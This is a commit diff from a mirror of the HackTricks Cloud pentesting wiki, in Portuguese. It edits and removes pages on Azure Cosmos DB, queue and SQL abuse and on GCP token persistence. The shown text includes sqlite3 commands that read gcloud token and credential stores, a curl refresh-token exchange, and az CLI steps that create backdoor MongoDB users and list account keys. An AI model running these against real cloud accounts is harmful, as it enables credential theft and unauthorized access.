mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-05 11:26:11 -08:00
Translated ['src/pentesting-cloud/azure-security/az-post-exploitation/az
This commit is contained in:
@@ -1,29 +0,0 @@
|
||||
# Az - Persistência do Armazenamento de Filas
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Fila
|
||||
|
||||
Para mais informações, consulte:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-queue.md
|
||||
{{#endref}}
|
||||
|
||||
### Ações: `Microsoft.Storage/storageAccounts/queueServices/queues/write`
|
||||
|
||||
Esta permissão permite que um atacante crie ou modifique filas e suas propriedades dentro da conta de armazenamento. Pode ser usada para criar filas não autorizadas, modificar metadados ou alterar listas de controle de acesso (ACLs) para conceder ou restringir acesso. Essa capacidade pode interromper fluxos de trabalho, injetar dados maliciosos, exfiltrar informações sensíveis ou manipular configurações de fila para permitir novos ataques.
|
||||
```bash
|
||||
az storage queue create --name <new-queue-name> --account-name <storage-account>
|
||||
|
||||
az storage queue metadata update --name <queue-name> --metadata key1=value1 key2=value2 --account-name <storage-account>
|
||||
|
||||
az storage queue policy set --name <queue-name> --permissions rwd --expiry 2024-12-31T23:59:59Z --account-name <storage-account>
|
||||
```
|
||||
## Referências
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues](https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues)
|
||||
- [https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api](https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api)
|
||||
- [https://learn.microsoft.com/en-us/azure/storage/queues/queues-auth-abac-attributes](https://learn.microsoft.com/en-us/azure/storage/queues/queues-auth-abac-attributes)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -1,20 +0,0 @@
|
||||
# Az - SQL Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SQL
|
||||
|
||||
Para mais informações, consulte:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-sql.md
|
||||
{{#endref}}
|
||||
|
||||
### Técnicas Comuns de Persistência
|
||||
|
||||
- Comprometer credenciais SQL ou criar um usuário SQL (habilitando a autenticação SQL, se necessário)
|
||||
- Atribuir um usuário comprometido como administrador do Entra ID (habilitando a autenticação do Entra ID, se necessário)
|
||||
- Backdoor na VM (se a VM SQL for utilizada)
|
||||
- Criar uma regra de FW para manter o acesso ao banco de dados SQL
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -10,13 +10,26 @@ Para mais informações sobre SQL Database, consulte:
|
||||
{{#endref}}
|
||||
|
||||
### `Microsoft.DocumentDB/databaseAccounts/read` && `Microsoft.DocumentDB/databaseAccounts/write`
|
||||
Com esta permissão, você pode criar ou atualizar contas do Azure Cosmos DB. Isso inclui modificar configurações em nível de conta, adicionar ou remover regiões, alterar níveis de consistência e habilitar ou desabilitar recursos como gravações em várias regiões.
|
||||
Com esta permissão, você pode criar ou atualizar contas do Azure Cosmos DB. Isso inclui modificar configurações em nível de conta, habilitar ou desabilitar failover automático, gerenciar controles de acesso à rede, definir políticas de backup e ajustar níveis de consistência. Atacantes com essa permissão poderiam alterar configurações para enfraquecer controles de segurança, interromper a disponibilidade ou exfiltrar dados modificando regras de rede.
|
||||
```bash
|
||||
az cosmosdb update \
|
||||
--name <account_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--public-network-access ENABLED
|
||||
```
|
||||
|
||||
```bash
|
||||
az cosmosdb update \
|
||||
--account-name <account_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--capabilities EnableMongoRoleBasedAccessControl
|
||||
```
|
||||
Além disso, você pode habilitar identidades gerenciadas na conta:
|
||||
```bash
|
||||
az cosmosdb identity assign \
|
||||
--name <cosmosdb_account_name> \
|
||||
--resource-group <resource_group_name>
|
||||
```
|
||||
### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/read` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/write`
|
||||
Com esta permissão, você pode criar ou modificar contêineres (coleções) dentro de um banco de dados SQL de uma conta do Azure Cosmos DB. Contêineres são usados para armazenar dados, e alterações neles podem impactar a estrutura e os padrões de acesso do banco de dados.
|
||||
```bash
|
||||
@@ -37,7 +50,7 @@ az cosmosdb sql container update \
|
||||
--ttl 3600
|
||||
```
|
||||
### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/write` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/read`
|
||||
Com esta permissão, você pode criar ou modificar bancos de dados SQL dentro de uma conta do Azure Cosmos DB. Isso permite gerenciar a estrutura do banco de dados e adicionar novos bancos de dados à conta. Embora essa permissão permita a criação de bancos de dados, o uso inadequado ou não autorizado pode resultar em consumo desnecessário de recursos, aumento de custos ou ineficiências operacionais.
|
||||
Com esta permissão, você pode criar ou modificar bancos de dados SQL dentro de uma conta do Azure Cosmos DB. Isso permite gerenciar a estrutura do banco de dados e adicionar novos bancos de dados à conta. Embora essa permissão possibilite a criação de bancos de dados, o uso inadequado ou não autorizado pode resultar em consumo desnecessário de recursos, aumento de custos ou ineficiências operacionais.
|
||||
```bash
|
||||
az cosmosdb sql database create \
|
||||
--account-name <account_name> \
|
||||
@@ -55,7 +68,7 @@ az cosmosdb failover-priority-change \
|
||||
|
||||
```
|
||||
### `Microsoft.DocumentDB/databaseAccounts/regenerateKey/action`
|
||||
Com esta permissão, você pode regenerar as chaves primárias ou secundárias para uma conta do Azure Cosmos DB. Isso é tipicamente usado para aumentar a segurança substituindo chaves antigas, mas pode interromper o acesso para serviços ou aplicativos que dependem das chaves atuais.
|
||||
Com esta permissão, você pode regenerar as chaves primárias ou secundárias para uma conta do Azure Cosmos DB. Isso é tipicamente usado para aumentar a segurança substituindo chaves antigas, mas pode interromper o acesso para serviços ou aplicações que dependem das chaves atuais.
|
||||
```bash
|
||||
az cosmosdb keys regenerate \
|
||||
--name <account_name> \
|
||||
@@ -118,52 +131,4 @@ az cosmosdb mongodb database create \
|
||||
--resource-group <resource_group_name> \
|
||||
--name <database_name>
|
||||
```
|
||||
### `Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/write` && `Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/read`
|
||||
Com esta permissão, você pode criar novas definições de função MongoDB dentro de uma conta do Azure Cosmos DB. Isso permite definir funções personalizadas com permissões específicas para usuários do MongoDB.
|
||||
```bash
|
||||
az cosmosdb mongodb role definition create \
|
||||
--account-name <account_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--body '{
|
||||
"Id": "<mydatabase>.readWriteRole",
|
||||
"RoleName": "readWriteRole",
|
||||
"Type": "CustomRole",
|
||||
"DatabaseName": "<mydatabase>",
|
||||
"Privileges": [
|
||||
{
|
||||
"Resource": {
|
||||
"Db": "<mydatabase>",
|
||||
"Collection": "mycollection"
|
||||
},
|
||||
"Actions": [
|
||||
"insert",
|
||||
"find",
|
||||
"update"
|
||||
]
|
||||
}
|
||||
],
|
||||
"Roles": []
|
||||
}'
|
||||
```
|
||||
### `Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write` && `Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read`
|
||||
Com esta permissão, você pode criar novas definições de usuário MongoDB dentro de uma conta do Azure Cosmos DB. Isso permite a provisão de usuários com funções e níveis de acesso específicos aos bancos de dados MongoDB.
|
||||
```bash
|
||||
az cosmosdb mongodb user definition create \
|
||||
--account-name <account_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--body '{
|
||||
"Id": "<mydatabase>.myUser",
|
||||
"UserName": "myUser",
|
||||
"Password": "mySecurePassword",
|
||||
"DatabaseName": "<mydatabase>",
|
||||
"CustomData": "TestCustomData",
|
||||
"Mechanisms": "SCRAM-SHA-256",
|
||||
"Roles": [
|
||||
{
|
||||
"Role": "readWriteRole",
|
||||
"Db": "<mydatabase>"
|
||||
}
|
||||
]
|
||||
}'
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -43,12 +43,63 @@ az cosmosdb sql role assignment create \
|
||||
--principal-id <principal_id-togive-perms> \
|
||||
--scope "/"
|
||||
```
|
||||
### (`Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/write` && `Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/read`)&& (`Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write` && `Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read`)
|
||||
|
||||
Com esta permissão, você pode criar novas definições de função MongoDB dentro de uma conta do Azure Cosmos DB. Isso permite definir funções personalizadas com permissões específicas para usuários do MongoDB. As funcionalidades de RBAC devem estar habilitadas para usar isso.
|
||||
```bash
|
||||
az cosmosdb mongodb role definition create \
|
||||
--account-name <account_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--body '{
|
||||
"Id": "<mydatabase>.readWriteRole",
|
||||
"RoleName": "readWriteRole",
|
||||
"Type": "CustomRole",
|
||||
"DatabaseName": "<mydatabase>",
|
||||
"Privileges": [
|
||||
{
|
||||
"Resource": {
|
||||
"Db": "<mydatabase>",
|
||||
"Collection": "mycollection"
|
||||
},
|
||||
"Actions": [
|
||||
"insert",
|
||||
"find",
|
||||
"update"
|
||||
]
|
||||
}
|
||||
],
|
||||
"Roles": []
|
||||
}'
|
||||
```
|
||||
Você pode criar novas definições de usuários MongoDB dentro de uma conta Azure Cosmos DB. Isso permite o provisionamento de usuários com funções específicas e acesso a bancos de dados MongoDB.
|
||||
```bash
|
||||
az cosmosdb mongodb user definition create \
|
||||
--account-name <account_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--body '{
|
||||
"Id": "<mydatabase>.myUser",
|
||||
"UserName": "<myUser>",
|
||||
"Password": "<mySecurePassword>",
|
||||
"DatabaseName": "<mydatabase>",
|
||||
"CustomData": "TestCustomData",
|
||||
"Mechanisms": "SCRAM-SHA-256",
|
||||
"Roles": [
|
||||
{
|
||||
"Role": "readWriteRole",
|
||||
"Db": "<mydatabase>"
|
||||
}
|
||||
]
|
||||
}'
|
||||
```
|
||||
Após isso, um novo usuário é criado dentro do MongoDB, podemos acessá-lo:
|
||||
```bash
|
||||
mongosh "mongodb://<myUser>:<mySecurePassword>@<account_name>.mongo.cosmos.azure.com:10255/<mymongodatabase>?ssl=true&replicaSet=globaldb&retrywrites=false"
|
||||
```
|
||||
### `Microsoft.DocumentDB/databaseAccounts/listKeys/action`
|
||||
Com esta permissão, você pode recuperar as chaves primária e secundária para uma conta do Azure Cosmos DB. Essas chaves fornecem acesso total à conta do banco de dados e seus recursos, permitindo ações como leituras de dados, gravações e alterações de configuração.
|
||||
```bash
|
||||
az cosmosdb keys list \
|
||||
--name <account_name> \
|
||||
--resource-group <resource_group_name>
|
||||
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,90 +0,0 @@
|
||||
# GCP - Persistência de Token
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
### Tokens de Usuário Autenticados
|
||||
|
||||
Para obter o **token atual** de um usuário, você pode executar:
|
||||
```bash
|
||||
sqlite3 $HOME/.config/gcloud/access_tokens.db "select access_token from access_tokens where account_id='<email>';"
|
||||
```
|
||||
Verifique nesta página como **usar diretamente este token usando gcloud**:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#gcp
|
||||
{{#endref}}
|
||||
|
||||
Para obter os detalhes para **gerar um novo token de acesso**, execute:
|
||||
```bash
|
||||
sqlite3 $HOME/.config/gcloud/credentials.db "select value from credentials where account_id='<email>';"
|
||||
```
|
||||
Também é possível encontrar tokens de atualização em **`$HOME/.config/gcloud/application_default_credentials.json`** e em **`$HOME/.config/gcloud/legacy_credentials/*/adc.json`**.
|
||||
|
||||
Para obter um novo token de acesso atualizado com o **token de atualização**, ID do cliente e segredo do cliente, execute:
|
||||
```bash
|
||||
curl -s --data client_id=<client_id> --data client_secret=<client_secret> --data grant_type=refresh_token --data refresh_token=<refresh_token> --data scope="https://www.googleapis.com/auth/cloud-platform https://www.googleapis.com/auth/accounts.reauth" https://www.googleapis.com/oauth2/v4/token
|
||||
```
|
||||
A validade dos tokens de atualização pode ser gerenciada em **Admin** > **Security** > **Google Cloud session control**, e por padrão está definida para 16h, embora possa ser configurada para nunca expirar:
|
||||
|
||||
<figure><img src="../../../images/image (11).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Fluxo de autenticação
|
||||
|
||||
O fluxo de autenticação ao usar algo como `gcloud auth login` abrirá um prompt no navegador e, após aceitar todos os escopos, o navegador enviará uma solicitação como esta para a porta http aberta pela ferramenta:
|
||||
```
|
||||
/?state=EN5AK1GxwrEKgKog9ANBm0qDwWByYO&code=4/0AeaYSHCllDzZCAt2IlNWjMHqr4XKOuNuhOL-TM541gv-F6WOUsbwXiUgMYvo4Fg0NGzV9A&scope=email%20openid%20https://www.googleapis.com/auth/userinfo.email%20https://www.googleapis.com/auth/cloud-platform%20https://www.googleapis.com/auth/appengine.admin%20https://www.googleapis.com/auth/sqlservice.login%20https://www.googleapis.com/auth/compute%20https://www.googleapis.com/auth/accounts.reauth&authuser=0&prompt=consent HTTP/1.1
|
||||
```
|
||||
Então, o gcloud usará o estado e o código com um `client_id` (`32555940559.apps.googleusercontent.com`) e **`client_secret`** (`ZmssLNjJy2998hD4CTg2ejr2`) codificados para obter os **dados finais do token de atualização**.
|
||||
|
||||
> [!CAUTION]
|
||||
> Note que a comunicação com localhost é em HTTP, então é possível interceptar os dados para obter um token de atualização, no entanto, esses dados são válidos apenas 1 vez, então isso seria inútil, é mais fácil apenas ler o token de atualização do arquivo.
|
||||
|
||||
### Escopos OAuth
|
||||
|
||||
Você pode encontrar todos os escopos do Google em [https://developers.google.com/identity/protocols/oauth2/scopes](https://developers.google.com/identity/protocols/oauth2/scopes) ou obtê-los executando:
|
||||
```bash
|
||||
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-A/\-\._]*' | sort -u
|
||||
```
|
||||
É possível ver quais escopos o aplicativo que **`gcloud`** usa para autenticar pode suportar com este script:
|
||||
```bash
|
||||
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
|
||||
echo -ne "Testing $scope \r"
|
||||
if ! curl -v "https://accounts.google.com/o/oauth2/auth?response_type=code&client_id=32555940559.apps.googleusercontent.com&redirect_uri=http%3A%2F%2Flocalhost%3A8085%2F&scope=openid+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fappengine.admin+$scope+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fsqlservice.login+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcompute+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Faccounts.reauth&state=AjvFqBW5XNIw3VADagy5pvUSPraLQu&access_type=offline&code_challenge=IOk5F08WLn5xYPGRAHP9CTGHbLFDUElsP551ni2leN4&code_challenge_method=S256" 2>&1 | grep -q "error"; then
|
||||
echo ""
|
||||
echo $scope
|
||||
fi
|
||||
done
|
||||
```
|
||||
Após a execução, foi verificado que este aplicativo suporta estes escopos:
|
||||
```
|
||||
https://www.googleapis.com/auth/appengine.admin
|
||||
https://www.googleapis.com/auth/bigquery
|
||||
https://www.googleapis.com/auth/cloud-platform
|
||||
https://www.googleapis.com/auth/compute
|
||||
https://www.googleapis.com/auth/devstorage.full_control
|
||||
https://www.googleapis.com/auth/drive
|
||||
https://www.googleapis.com/auth/userinfo.email
|
||||
```
|
||||
é interessante ver como este aplicativo suporta o escopo **`drive`**, o que poderia permitir que um usuário escalasse do GCP para o Workspace se um atacante conseguisse forçar o usuário a gerar um token com esse escopo.
|
||||
|
||||
**Verifique como** [**abusar disso aqui**](../gcp-to-workspace-pivoting/index.html#abusing-gcloud)**.**
|
||||
|
||||
### Contas de Serviço
|
||||
|
||||
Assim como com usuários autenticados, se você conseguir **comprometer o arquivo de chave privada** de uma conta de serviço, você poderá **acessá-la geralmente pelo tempo que quiser**.\
|
||||
No entanto, se você roubar o **token OAuth** de uma conta de serviço, isso pode ser ainda mais interessante, porque, mesmo que por padrão esses tokens sejam úteis apenas por uma hora, se a **vítima excluir a chave da API privada, o token OAuth ainda será válido até expirar**.
|
||||
|
||||
### Metadados
|
||||
|
||||
Obviamente, enquanto você estiver dentro de uma máquina rodando no ambiente GCP, você poderá **acessar a conta de serviço anexada a essa máquina contatando o endpoint de metadados** (note que os tokens OAuth que você pode acessar neste endpoint geralmente são restritos por escopos).
|
||||
|
||||
### Remediações
|
||||
|
||||
Algumas remediações para essas técnicas são explicadas em [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2)
|
||||
|
||||
### Referências
|
||||
|
||||
- [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-1](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-1)
|
||||
- [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user